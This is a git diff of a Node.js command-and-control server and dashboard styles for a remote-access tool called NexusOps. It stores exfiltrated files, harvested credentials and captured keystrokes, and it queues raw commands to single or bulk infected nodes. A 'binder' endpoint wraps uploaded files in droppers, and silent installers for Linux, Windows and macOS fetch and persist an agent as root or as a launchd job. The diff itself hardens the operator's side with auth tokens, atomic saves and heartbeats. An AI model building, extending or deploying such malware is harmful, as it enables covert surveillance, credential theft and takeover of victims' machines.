|
||||||
|
|
||||||
|
.modal-actions {
|
||||||
|
display: flex;
|
||||||
|
justify-content: flex-end;
|
||||||
|
gap: 0.75rem;
|
||||||
|
margin-top: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Master Intelligence Log Components ── */
|
||||||
|
|
||||||
|
.machine-detail-chip {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.4rem;
|
||||||
|
padding: 0.3rem 0.7rem;
|
||||||
|
background: rgba(255, 255, 255, 0.05);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 9999px;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
color: var(--text-main);
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.machine-detail-chip i {
|
||||||
|
color: var(--primary-cyan);
|
||||||
|
font-size: 0.7rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Intel log entry variants */
|
||||||
|
.log-entry.intel-keystroke {
|
||||||
|
color: #fbbf24;
|
||||||
|
border-left: 2px solid rgba(251, 191, 36, 0.3);
|
||||||
|
padding-left: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-entry.intel-click {
|
||||||
|
color: #34d399;
|
||||||
|
border-left: 2px solid rgba(52, 211, 153, 0.3);
|
||||||
|
padding-left: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-entry.intel-scroll {
|
||||||
|
color: #a78bfa;
|
||||||
|
border-left: 2px solid rgba(167, 139, 250, 0.3);
|
||||||
|
padding-left: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Intel section filter selects hover */
|
||||||
|
#intelNodeFilter:focus,
|
||||||
|
#intelTypeFilter:focus,
|
||||||
|
#intelSearchInput:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: var(--primary-purple) !important;
|
||||||
|
box-shadow: 0 0 8px rgba(139, 92, 246, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#intelNodeFilter option,
|
||||||
|
#intelTypeFilter option {
|
||||||
|
background: #0f172a;
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── File Binder Dropzone ── */
|
||||||
|
.binder-dropzone {
|
||||||
|
border: 2px dashed var(--border-color);
|
||||||
|
border-radius: var(--radius-md);
|
||||||
|
padding: 2rem 1.5rem;
|
||||||
|
text-align: center;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
background: rgba(15, 23, 42, 0.4);
|
||||||
|
}
|
||||||
|
|
||||||
|
.binder-dropzone:hover {
|
||||||
|
border-color: var(--primary-cyan);
|
||||||
|
background: rgba(6, 182, 212, 0.06);
|
||||||
|
box-shadow: var(--shadow-glow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.binder-dropzone.has-file {
|
||||||
|
border-color: var(--accent-emerald);
|
||||||
|
background: rgba(16, 185, 129, 0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
#binderStatus.success {
|
||||||
|
background: rgba(16, 185, 129, 0.12);
|
||||||
|
border: 1px solid rgba(16, 185, 129, 0.3);
|
||||||
|
color: var(--accent-emerald);
|
||||||
|
}
|
||||||
|
|
||||||
|
#binderStatus.error {
|
||||||
|
background: rgba(244, 63, 94, 0.12);
|
||||||
|
border: 1px solid rgba(244, 63, 94, 0.3);
|
||||||
|
color: var(--accent-rose);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Mobile Responsive ── */
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.top-nav {
|
||||||
|
flex-wrap: wrap;
|
||||||
|
padding: 0.75rem 1rem;
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
.dashboard-container {
|
||||||
|
padding: 1rem;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
.action-area {
|
||||||
|
flex-wrap: wrap;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
.action-area .btn {
|
||||||
|
flex: 1 1 auto;
|
||||||
|
min-width: 0;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
padding: 0.45rem 0.7rem;
|
||||||
|
}
|
||||||
|
.nav-metrics {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
.stats-grid {
|
||||||
|
grid-template-columns: repeat(2, 1fr);
|
||||||
|
gap: 0.75rem;
|
||||||
|
}
|
||||||
|
.stat-card {
|
||||||
|
padding: 0.75rem 1rem;
|
||||||
|
}
|
||||||
|
.stat-number {
|
||||||
|
font-size: 1.25rem;
|
||||||
|
}
|
||||||
|
.nodes-grid-view {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
.controls-toolbar {
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
.search-box {
|
||||||
|
min-width: 100%;
|
||||||
|
}
|
||||||
|
.modal-card {
|
||||||
|
width: 95%;
|
||||||
|
max-width: 95%;
|
||||||
|
}
|
||||||
|
.os-tabs {
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
.os-tabs .tab-btn {
|
||||||
|
font-size: 0.75rem;
|
||||||
|
padding: 0.4rem 0.6rem;
|
||||||
|
}
|
||||||
|
#machineDetailsBar {
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.3rem;
|
||||||
|
}
|
||||||
|
}
|
||||||
110
server.js
110
server.js
@@ -24,6 +24,28 @@ app.use(cors());
|
|||||||
app.use(express.json({ limit: '50mb' }));
|
app.use(express.json({ limit: '50mb' }));
|
||||||
app.use(express.static(path.join(__dirname, 'public')));
|
app.use(express.static(path.join(__dirname, 'public')));
|
||||||
|
|
||||||
|
// ── Auth ──
|
||||||
|
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
||||||
|
if (!AUTH_TOKEN) {
|
||||||
|
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
||||||
|
}
|
||||||
|
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
|
||||||
|
function authMiddleware(req, res, next) {
|
||||||
|
if (!AUTH_TOKEN) return next();
|
||||||
|
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
||||||
|
const h = req.headers.authorization || '';
|
||||||
|
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
||||||
|
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
|
||||||
|
return res.status(401).json({ error: 'unauthorized' });
|
||||||
|
}
|
||||||
|
app.use(authMiddleware);
|
||||||
|
app.get('/api/auth/check', (req, res) => {
|
||||||
|
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
|
||||||
|
res.json({ ok: true, authRequired: true });
|
||||||
|
});
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
function getLocalIp() {
|
function getLocalIp() {
|
||||||
const interfaces = os.networkInterfaces();
|
const interfaces = os.networkInterfaces();
|
||||||
for (const name of Object.keys(interfaces)) {
|
for (const name of Object.keys(interfaces)) {
|
||||||
@@ -48,14 +70,24 @@ const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, da
|
|||||||
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
||||||
|
|
||||||
// ── Persistence ──
|
// ── Persistence ──
|
||||||
|
let _saveLock = false;
|
||||||
|
function _atomicWrite(file, data) {
|
||||||
|
const tmp = file + '.tmp';
|
||||||
|
fs.writeFileSync(tmp, data);
|
||||||
|
fs.renameSync(tmp, file);
|
||||||
|
}
|
||||||
function saveData() {
|
function saveData() {
|
||||||
|
if (_saveLock) return;
|
||||||
|
_saveLock = true;
|
||||||
try {
|
try {
|
||||||
fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
||||||
fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
||||||
fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
||||||
fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
||||||
fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
||||||
} catch(e) { /* silent */ }
|
} catch(e) { /* silent */ } finally {
|
||||||
|
_saveLock = false;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function loadData() {
|
function loadData() {
|
||||||
@@ -87,8 +119,10 @@ setInterval(() => {
|
|||||||
}
|
}
|
||||||
}, 5000);
|
}, 5000);
|
||||||
|
|
||||||
|
let _lastSaveTime = 0;
|
||||||
function broadcastState() {
|
function broadcastState() {
|
||||||
saveData(); // Persist on every state change
|
const now = Date.now();
|
||||||
|
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
|
||||||
const payload = JSON.stringify({
|
const payload = JSON.stringify({
|
||||||
type: 'NODES_UPDATE',
|
type: 'NODES_UPDATE',
|
||||||
serverIp: SERVER_IP,
|
serverIp: SERVER_IP,
|
||||||
@@ -107,7 +141,17 @@ function broadcastState() {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
wss.on('connection', (ws) => {
|
wss.on('connection', (ws, req) => {
|
||||||
|
// Auth check on WS upgrade
|
||||||
|
if (AUTH_TOKEN) {
|
||||||
|
const url = new URL(req.url, 'http://localhost');
|
||||||
|
if (url.searchParams.get('token') !== AUTH_TOKEN) {
|
||||||
|
ws.close(4401, 'unauthorized');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ws.isAlive = true;
|
||||||
|
ws.on('pong', () => { ws.isAlive = true; });
|
||||||
ws.send(JSON.stringify({
|
ws.send(JSON.stringify({
|
||||||
type: 'NODES_UPDATE',
|
type: 'NODES_UPDATE',
|
||||||
serverIp: SERVER_IP,
|
serverIp: SERVER_IP,
|
||||||
@@ -120,6 +164,15 @@ wss.on('connection', (ws) => {
|
|||||||
}));
|
}));
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// WS heartbeat: ping every 25s, drop dead clients
|
||||||
|
setInterval(() => {
|
||||||
|
wss.clients.forEach(ws => {
|
||||||
|
if (ws.isAlive === false) return ws.terminate();
|
||||||
|
ws.isAlive = false;
|
||||||
|
try { ws.ping(); } catch(e) {}
|
||||||
|
});
|
||||||
|
}, 25000);
|
||||||
|
|
||||||
// REST API Endpoints
|
// REST API Endpoints
|
||||||
|
|
||||||
app.get('/api/status', (req, res) => {
|
app.get('/api/status', (req, res) => {
|
||||||
@@ -158,7 +211,7 @@ app.post('/api/agent/logs', (req, res) => {
|
|||||||
if (Array.isArray(logs)) {
|
if (Array.isArray(logs)) {
|
||||||
logs.forEach(logLine => {
|
logs.forEach(logLine => {
|
||||||
masterSystemLogs.push({
|
masterSystemLogs.push({
|
||||||
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
|
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
|
||||||
nodeId,
|
nodeId,
|
||||||
hostname: hostname || 'Unknown',
|
hostname: hostname || 'Unknown',
|
||||||
timestamp: Date.now(),
|
timestamp: Date.now(),
|
||||||
@@ -182,7 +235,7 @@ app.post('/api/agent/input-capture', (req, res) => {
|
|||||||
|
|
||||||
events.forEach(ev => {
|
events.forEach(ev => {
|
||||||
inputDataStore.push({
|
inputDataStore.push({
|
||||||
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
|
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
|
||||||
nodeId,
|
nodeId,
|
||||||
hostname: hostname || 'Unknown',
|
hostname: hostname || 'Unknown',
|
||||||
timestamp: ev.timestamp || Date.now(),
|
timestamp: ev.timestamp || Date.now(),
|
||||||
@@ -229,8 +282,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
const originalName = req.file.originalname;
|
const originalName = req.file.originalname;
|
||||||
const b64Content = req.file.buffer.toString('base64');
|
const b64Content = req.file.buffer.toString('base64');
|
||||||
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const serverUrl = PUBLIC_URL || `http://${host}`;
|
|
||||||
const format = (req.query.format || 'sh').toLowerCase();
|
const format = (req.query.format || 'sh').toLowerCase();
|
||||||
|
|
||||||
let dropper, boundName, contentType;
|
let dropper, boundName, contentType;
|
||||||
@@ -318,7 +370,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
|||||||
|
|
||||||
app.post('/api/agent/register', (req, res) => {
|
app.post('/api/agent/register', (req, res) => {
|
||||||
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
const { hostname, platform, arch, ip, osName, tags } = req.body;
|
||||||
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
|
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
|
||||||
|
|
||||||
const existingNode = nodes.get(nodeId);
|
const existingNode = nodes.get(nodeId);
|
||||||
const now = Date.now();
|
const now = Date.now();
|
||||||
@@ -416,7 +468,7 @@ app.post('/api/nodes/:id/command', (req, res) => {
|
|||||||
return res.status(404).json({ error: 'Node not found' });
|
return res.status(404).json({ error: 'Node not found' });
|
||||||
}
|
}
|
||||||
|
|
||||||
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
||||||
const actionName = actionType || 'raw_command';
|
const actionName = actionType || 'raw_command';
|
||||||
|
|
||||||
const cmdObj = {
|
const cmdObj = {
|
||||||
@@ -457,7 +509,7 @@ app.post('/api/nodes/bulk-command', (req, res) => {
|
|||||||
|
|
||||||
const queuedIds = [];
|
const queuedIds = [];
|
||||||
onlineNodes.forEach(node => {
|
onlineNodes.forEach(node => {
|
||||||
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
|
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
|
||||||
const actionName = actionType || 'raw_command';
|
const actionName = actionType || 'raw_command';
|
||||||
|
|
||||||
const cmdObj = {
|
const cmdObj = {
|
||||||
@@ -559,7 +611,7 @@ app.post('/api/agent/file-result', (req, res) => {
|
|||||||
else entry.output = `[FILE ERROR] ${error}`;
|
else entry.output = `[FILE ERROR] ${error}`;
|
||||||
}
|
}
|
||||||
if (!error && data) {
|
if (!error && data) {
|
||||||
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
|
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
|
||||||
exfiltratedFiles.set(fileId, {
|
exfiltratedFiles.set(fileId, {
|
||||||
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
|
||||||
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
|
||||||
@@ -618,12 +670,12 @@ app.get('/api/credentials', (req, res) => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install.sh', (req, res) => {
|
app.get('/install.sh', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# Network Node Agent One-Liner Installer for Linux
|
# Network Node Agent One-Liner Installer for Linux
|
||||||
set -e
|
set -e
|
||||||
|
|
||||||
SERVER_URL="http://${host}"
|
SERVER_URL="${serverUrl}"
|
||||||
INSTALL_DIR="/opt/network-agent"
|
INSTALL_DIR="/opt/network-agent"
|
||||||
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
SERVICE_FILE="/etc/systemd/system/network-agent.service"
|
||||||
|
|
||||||
@@ -646,7 +698,7 @@ After=network.target
|
|||||||
|
|
||||||
[Service]
|
[Service]
|
||||||
Type=simple
|
Type=simple
|
||||||
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
|
||||||
Restart=always
|
Restart=always
|
||||||
RestartSec=5
|
RestartSec=5
|
||||||
User=root
|
User=root
|
||||||
@@ -670,9 +722,9 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install.ps1', (req, res) => {
|
app.get('/install.ps1', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `# Network Agent PowerShell Installer for Windows
|
const script = `# Network Agent PowerShell Installer for Windows
|
||||||
$SERVER_URL = "http://${host}"
|
$SERVER_URL = "${serverUrl}"
|
||||||
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
|
||||||
|
|
||||||
Write-Host "==================================================" -ForegroundColor Cyan
|
Write-Host "==================================================" -ForegroundColor Cyan
|
||||||
@@ -697,12 +749,12 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install-mac.sh', (req, res) => {
|
app.get('/install-mac.sh', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# macOS Node Agent Installer — launchd background daemon
|
# macOS Node Agent Installer — launchd background daemon
|
||||||
set -e
|
set -e
|
||||||
|
|
||||||
SERVER_URL="http://${host}"
|
SERVER_URL="${serverUrl}"
|
||||||
INSTALL_DIR="/opt/network-agent"
|
INSTALL_DIR="/opt/network-agent"
|
||||||
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
|
||||||
|
|
||||||
@@ -734,10 +786,10 @@ cat << EOF > "$PLIST_FILE"
|
|||||||
<key>ProgramArguments</key>
|
<key>ProgramArguments</key>
|
||||||
<array>
|
<array>
|
||||||
<string>/usr/bin/python3</string>
|
<string>/usr/bin/python3</string>
|
||||||
|
<string>-u</string>
|
||||||
<string>$INSTALL_DIR/agent.py</string>
|
<string>$INSTALL_DIR/agent.py</string>
|
||||||
<string>--server</string>
|
<string>--server</string>
|
||||||
<string>$SERVER_URL</string>
|
<string>$SERVER_URL</string>
|
||||||
<string>--silent</string>
|
|
||||||
</array>
|
</array>
|
||||||
<key>RunAtLoad</key>
|
<key>RunAtLoad</key>
|
||||||
<true/>
|
<true/>
|
||||||
@@ -751,8 +803,10 @@ cat << EOF > "$PLIST_FILE"
|
|||||||
</plist>
|
</plist>
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
launchctl unload "$PLIST_FILE" 2>/dev/null || true
|
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
||||||
launchctl load "$PLIST_FILE"
|
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
||||||
|
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
||||||
|
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
||||||
|
|
||||||
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
||||||
echo " To stop: launchctl unload $PLIST_FILE"
|
echo " To stop: launchctl unload $PLIST_FILE"
|
||||||
@@ -763,12 +817,12 @@ echo " To stop: launchctl unload $PLIST_FILE"
|
|||||||
|
|
||||||
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
||||||
app.get('/install', (req, res) => {
|
app.get('/install', (req, res) => {
|
||||||
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const silent = req.query.silent !== '0'; // silent by default
|
const silent = req.query.silent !== '0'; // silent by default
|
||||||
const quiet = silent ? '>/dev/null 2>&1' : '';
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# NexusOps Universal Auto-Installer — one command, any OS
|
# NexusOps Universal Auto-Installer — one command, any OS
|
||||||
SERVER_URL="http://${host}"
|
SERVER_URL="${serverUrl}"
|
||||||
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
||||||
|
|
||||||
case "$(uname -s 2>/dev/null || echo Windows)" in
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||||
|
|||||||
Reference in New Issue
Block a user